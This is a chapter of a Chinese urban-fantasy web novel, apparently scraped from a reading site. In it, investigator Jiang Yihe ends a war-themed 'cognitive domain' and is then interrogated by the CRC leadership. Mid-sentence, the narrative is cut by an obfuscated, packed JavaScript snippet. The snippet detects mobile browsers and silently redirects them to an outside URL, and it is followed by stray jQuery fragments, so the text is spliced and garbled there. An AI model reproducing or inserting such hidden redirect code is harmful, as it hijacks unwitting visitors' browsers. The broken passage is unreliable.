战场上,苏词突然抬起头来。
她一片赤红的眼睛里,映射出了一道金光。
这是……哪里?
她手里的刀在微微颤抖,在一片只剩杀戮的茫茫然中,有什么东西挣扎着生了出来。
是了……我记得……我要保护她们……
她艰难地踏出一步,伸出早已遍布碎痕的手,再次举起了手里的刀。
那道金光从虚空之后破空而来,无声地前行着,花朵在跟着它绽放;
它一路飞过那支金甲军队,那些剑与盾便开出了花;
它一路飞过那只冠冕华服的山羊,那些冠冕与华服上便也开出了花;
它继续飞过,硝烟都变成了花瓣,兵器间都发出了花蕊,断壁颓垣的塔楼中,花朵也一朵朵攀上墙壁,在最高的地方绽放;
它继续飞过,将天空中的裂缝缝补了起来,将地面上的沟壑重新填满……
最后,它停下来。
金光就横亘在了天空中,仿佛一道威严又温柔的目光。
战场上彻底静了下来,一切都随着金光的停止而停止了。
金甲军队的剑盾盔甲上面都开满了鲜花,满地的兵器之间绿草茵茵,山羊没有了王冠和华服,踢踏着蹄子吃草。
*
这一箭,以战,止戈。
*
江一和感觉身上的力气已经被抽空,撑不住半跪在地。
那把名为“战”的弓已经从她手中消失,她摊开手,看到自己的手臂又在一块块剥落,消散到了空气中。
安娜微微抬起头,对她招了招手,示意她过去。
江一和走了过去,在她面前也学着她的样子坐了下来。
安娜看起来已经十分虚弱,眼睛一直闭着,连头上的花环都显得萎靡不振。
江一和静静地看了她许久,才听到她轻轻说了一句:“好孩子,谢谢你,及时赶到。”
略微愣了一下,江一和看了一下自己只剩了一半、还在不断崩塌的手臂,问道:“我要死了吗?”
安娜嘴角微微泛起一个笑容,声音更轻了,江一和凑过去仔细听,才听见她说的是:“别担心,你还有1%的生还希望。”
……
这好像不能算安慰吧?
吐槽没有说出口,江一和突然意识到了什么,轻轻呼唤道:“您还好吗?”
安娜没有回答,似乎已经失去了力气,轻轻动了一下手指。
然后开始碎裂。
她的身体中也开出了花朵,花朵随着她身体的碎裂蔓延,从头上的花环,到长长的金发,到手,再到脚,一路绽放。
最后,形成了一个小小的花丛。
空中又传来了哀伤的哼唱声,脚下的花朵开始不断凋谢,四周似乎有阵阵清水漫过,让江一和整个人都产生了朦胧的睡意。
阵阵哼唱声中,她听到了安娜的声音从很远的地方传来:
“晚安,孩子们。不要放弃希望。”
无法抵挡的困倦袭来,江一和坐在地上,趴在花丛中间沉沉睡去。
*
“还没进展吗?”陈雾的手指在操控台上焦躁地敲击着,再次发问。
“马上。”回答的依然是那个银发少年,他嘴里说着话,眼睛依然紧紧盯着数据,“已经定位到两个异常体的力量残留了——【烦躁】阿伦,和【恐惧】加奈特,但它们跑得很快,我正在反追踪情绪波动信号。”
“【恐惧】……是它啊,那个怪物。”戴单边眼镜的男人嘴边的笑容更大了些,“七大罪以外的异常体里面,能跟苏词过招的可没几个。”
说着他又笑眯眯地看向陈雾:“哎,我倒是一直想研究一下苏词,你说一个人类到底是怎么强到她那种地步的?”
“你要是不怕挨揍,我倒是不会拦着你。”陈雾斜斜地看了他一眼,不再理他。
“啧,随便问问嘛,何必激动。”男人状似无辜地摊摊手,“华南区主管陈雾女士,护短之名可是名声在外,我哪敢碰你的人。”
“找到了。”银发少年水银般的眼睛突然轻轻闪烁起来,“大型群体认知域,包含时空混合。这样的规模——”
陈雾挑了挑眉,说道:“是冲总部来的?”
“是。”银发少年眼中也逐渐有数据在闪动,“认知域的主体是战争,如果我们接入,就会有一支无穷无尽的军队入侵,同时可能将造成时空混乱、战争情绪侵蚀。”
他将手轻轻放在平台上,一道光芒逐渐笼罩了上去,声音也变轻了:“根据CRC紧急事务处理条例,三位及以上六席或轮值六席级别的管理者全票通过,即可行使接入大型认知域权限。我现在提议,立即接入该大型群体认知域,请两位投票。”
陈雾干脆利落地回答道:“我同意。”
另外那个男人也摊了一下手,依然笑眯眯地说道:“这么好的研究机会我可不想错过,我同意。”
银发少年手上的光芒逐渐扩大,说道:“那就麻烦雾姐发出通知,以六席的名义通知各部门,即将接入大型群体认知域,请全球所有外勤部门待命调查员、所有任务协调中心可战斗支援人员,做好战斗准备。”
陈雾打开通讯,正要说话,屏蔽罩上突然传来一阵嗡鸣声,一道裂缝撕开了虚空,发出了刺耳的噼里啪啦声之后,从里面吐出了两个人来——
正是浑身裂痕、身上冒着黑色雾气的苏词,以及她手里提着的,身体只剩了一半、昏迷不醒的江一和。
然后两人一起倒在了平台上。
*
再次清醒过来的时候,江一和已经躺在了病床上。
她脑子还是昏沉沉的,睁开眼睛只能看见一片模糊的白色,一时分不清自己到底是在现实世界还是在梦里。
想伸手去揉眼睛,手却沉重地抬不起来,另一个声音则在她耳边响起:“醒了?”
闭上眼睛缓了缓,她再次睁开眼睛,终于看清了眼前穿着白色护士服装的人,正伸着手在换药水。
一连串的记忆涌入她的脑袋,她张嘴想说话,却只发出了一个音节:“师……”
护士似乎明白她想说什么,换好药水之后,安抚地轻拍了一下她的手臂,说道:“别担心,有人照顾她。你现在位于现实世界,因为意识损耗较大,身体可能会比较沉重,这都是正常现象,好好休息就会没事。”
如她所言,江一和不过是睁了一会儿眼,就已经觉得疲惫不堪,干脆又闭上眼睛,立马又是一阵眩晕袭来,很快又沉沉睡去。
就这样,她像个婴儿般一直醒醒睡睡的,直到一个星期后才基本上痊愈,终于离开了病房。
像惯常一样来到华南分部的办公室,刚刚推开门,便看见会议桌前坐了三个人,中间是那个银色卷发少年,左右两边她不认识,一个是三十来岁的女子,另外一个是个四十岁左右的男人。
卷发少年正是那位信息部的阿金特,传闻中最平易近人,在公众面前出现最多的CRC最高管理者常驻六席之一,大家平时都叫他阿金。但——他们怎么会在这里?
微微一怔,江一和说道:“你们……要借用会议室吗?那你们先用。”
阿金的脸上露出他标志性的睡意迷糊般的笑容,水银般的眼睛中毫无高光,看起来有几分非人感,语气倒是十分温和:“不,调查员江一和——我们是代表六席来找你的,请锁上门,打开感知屏蔽系统好吗?”
“哦……”江一和想到了什么,“因为那个人的事情吧?”
她关上门,顺手在墙上的开关上按了一下,一道浅浅的白光便笼罩了整个办公室。
在阿金桌子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299241|198620||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对面坐下后,阿金微笑着对她颔首,说道:“那我就开门见山了。你在报告中提到,你见到了那位菲尼斯女士,并成为了博物馆馆长,对吗?”
“是。”
“成为馆长,意味着你能使用异常体的能力,并有可能成为情绪世界的神,你是否了解?”
“在CRC历史公开课中听过。”
“我们至今未能揭开那位菲尼斯女士的身份之谜,你此次与她相见,是否有所收获?”
“只知道她不尊重别人隐私,还是个话痨。”
阿金明显停顿了一下,又保持着微笑,继续提问:
“终端日志记录显示,你的那段经历并未被记录下来。”
“我不清楚,可能那里有某种干扰。”
“之后你就到了战场混合的大型认知域,并遭遇了异常体阿伦与异常体加奈特?”
“对。”
“那么……”阿金的语气突然加重了一些,眼中有一道光芒闪过,“苏词的报告中显示,她正在对抗该大型认知域的情绪奇点,整个战场的情绪漩涡突然被驱散,奇点随后被收容,这件事——是你完成的吗?”
江一和没有立即回答,而是仔细的思索了一下,脸上闪过了一丝不确定:“我……好像不记得了。”
“调查员江一和。”阿金隔壁那个男人用指节敲了敲桌子,脸色沉郁,“向CRC隐瞒认知域内事实,对你并无好处。”
江一和对他微微一笑:“不好意思,我记性确实不好。”
“江一和,你是否知道——”另一边的女人也声音温和地开口道,“CRC历史上,成为馆长的四位调查员后来的结局?”
“知道。”江一和把目光转向了她,“一死、一疯、一失踪、一背叛。”
“那你也该知道,她们对世界造成的重大创伤。”男人又敲了敲桌子,抢回了问题。
“那是她们做的,与我何干?”江一和叹了口气:“几位尊敬的领导,唱红白脸也没有用处,请问我有什么隐瞒的必要吗?科研部已经对我做了全面检查,你们该去问他们。”
“江一和,不要太目无领导。”男人脸色再度阴沉,“六席有权对你进行质询,你若不肯配合,我想我们有必要采取强制措施。”
“够了。”
江一和尚未答话,另一边的黑暗中,传来了一个声音。
“雾姐?”江一和循声望去,一道灯光亮起,靠在椅子上的陈雾站了起来,拿起外套甩在肩上,走到门边,关掉屏蔽开关,打开了门。
“陈雾,我们允许你旁听已经作出让步了。”男人脸色更显难看,“不要得寸进尺。”
“切。”陈雾拉了一下肩上的外套,斜眼看了一眼江一和,“走不走,小鱼在群里问要不要喝奶茶。”
江一和迅速站了起来,无视了身后三道眼神,跟着陈雾走了出去,接道:“我要茉莉乌龙,加奶盖碧根果。”
啪!
男人站了起来,一巴掌拍在桌上,看向另外两人:“她们这像什么样子?”
阿金毫不在意地笑了笑:“听闻华南分部的调查员,都很爱装,果然是真的。”
“你就一点也不生气?”男人一脸的怒气。
“为什么要生气呢?”阿金反问道,“该知道的都知道了,问不出来的,逼问也没有用。毕竟,她还是我们自己的调查员呢,我们总不能把她推到七大罪那边。”
“你!”男人扫了一眼两人淡定的表情,一股气发不出来,怒气冲冲地推开椅子,走了出去。
“哎……”见他走远,女人看了一眼还在打转的办公椅,微微摇头,叹气道,“六席之中为什么还留着这种蠢货。”
“嗯。”阿金脸上又露出了那种迷迷糊糊的笑容,“就算是我们这样的机构,也少不了人情世故啊。”